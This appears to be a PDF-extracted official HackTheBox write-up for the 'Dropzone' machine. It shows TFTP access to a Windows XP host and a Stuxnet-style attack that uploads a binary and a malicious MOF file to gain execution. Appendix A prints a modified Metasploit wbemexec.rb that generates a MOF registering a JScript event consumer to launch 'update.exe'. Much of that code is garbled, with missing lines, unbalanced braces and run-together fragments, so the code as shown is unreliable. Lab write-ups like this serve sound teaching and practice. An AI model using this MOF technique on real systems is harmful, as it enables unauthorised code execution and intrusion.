139-Dropzone HTB Official Writeup Tamarisk
139-Dropzone HTB Official Writeup Tamarisk
Page 1 / 13
SYNOPSIS
Dropzone is an interesting machine that highlights a technique used by the Stuxnet worm. The
discovery of NTFS data streams provides an additional challenge.
Page 2 / 13
Enumeration
Nmap
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
Nmap reveals that UDP port 69 (TFTP) is running, and this is verified using netcat.
Page 3 / 13
Exfiltration of Interesting Files
It seems that read and write access to the entire system is possible. As license.rtf doesn’t exist
the system must be prior to Windows 7. Inspection of eula.txt reveals that it is Windows XP
Service Pack 3.
Page 4 / 13
Exploitation
With prior knowledge of the Stuxnet Windows Printer Spooler vulnerability (MS10-061), or by
searching for Windows XP write-privilege attacks, it seems likely that the initial vector requires
creating a malicious MOF file.
The blog post below by Xst3nZ highlights how this can be weaponized and is well worth a read.
http://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html
The Metasploit Framework uses malicious MOF files as payloads for several modules, via the
wbemexec.rb mixin.
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-
attack-on-Windows
wbemexec.rb is modified as below, and executed to generate a malicious MOF file (Appendix A)
Page 5 / 13
TFTP Transfer and Shell
TFTP binary mode is enabled. The binary needs to be uploaded first to “c:\windows\system32”,
before uploading the MOF file to “c:\windows\system32\wbem\mof”.
Page 6 / 13
NTFS Data Streams
After inspecting the files on the Administrator’s Desktop, streams.exe from the SysInternals Suite
is uploaded, and user and root flags can now be obtained.
Page 7 / 13
Appendix A
# This technique was used as part of Stuxnet and further reverse engineered
#module Msf
#module Exploit::WbemExec
classname = rand(0xffff).to_s
Page 8 / 13
# From Ivan's decompressed version
mof = <<-EOT
#pragma namespace("\\\\\\\\.\\\\root\\\\cimv2")
class MyClass@CLASS@
};
string ScriptFileName;
uint32 KillTimeout;
};
instance of __Win32Provider as $P
Name = "ActiveScriptEventConsumer";
CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
PerUserInitialization = TRUE;
Page 9 / 13
};
instance of __EventConsumerProviderRegistration
Provider = $P;
ConsumerClassNames = {"ActiveScriptEventConsumer"};
};
Name = "ASEC";
ScriptingEngine = "JScript";
};
Name = "qndASEC";
ScriptingEngine = "JScript";
Page 10 / 13
GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");s.Delete(\\"__EventFilter.Name='qndfilt'\\");s.Delete(\\
"ActiveScriptEventConsumer.Name='qndASEC'\\");\\n} catch(err) {};";
};
Name = "instfilt";
QueryLanguage = "WQL";
};
Name = "qndfilt";
QueryLanguage = "WQL";
};
Consumer = $cons;
Filter = $Filt;
};
Page 11 / 13
instance of __FilterToConsumerBinding as $bind2
Consumer = $cons2;
Filter = $Filt2;
};
Name = "ClassConsumer";
};
EOT
mof.gsub!(/@CLASS@/, classname)
fd = open("telemetry.mof", 'w')
fd << mof
fd.close
mof
end
Page 12 / 13
#end
#end
generate_mof('telemetry.mof', 'update.exe')
modified wbemexec.rb
Page 13 / 13